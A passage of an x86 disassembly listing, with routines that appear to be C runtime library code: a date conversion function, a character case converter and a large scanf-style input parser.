fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_435FF4 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax ; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4CF028 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_4CF024 nop call near ptr 2850504h loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_436724[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_436640 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_436644, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_436648 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_433E7C, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_433E7C, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_433C70 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_433E7C, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_433E7C, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_433E80, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_433E80 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_433E7C, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_433E7C, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_435FD8 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_436000 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_435FF8 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_433C70 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_433E7C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_433E7C, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_433E7C, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; --------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DEF3 ; --------------------------------------------------------------------------- 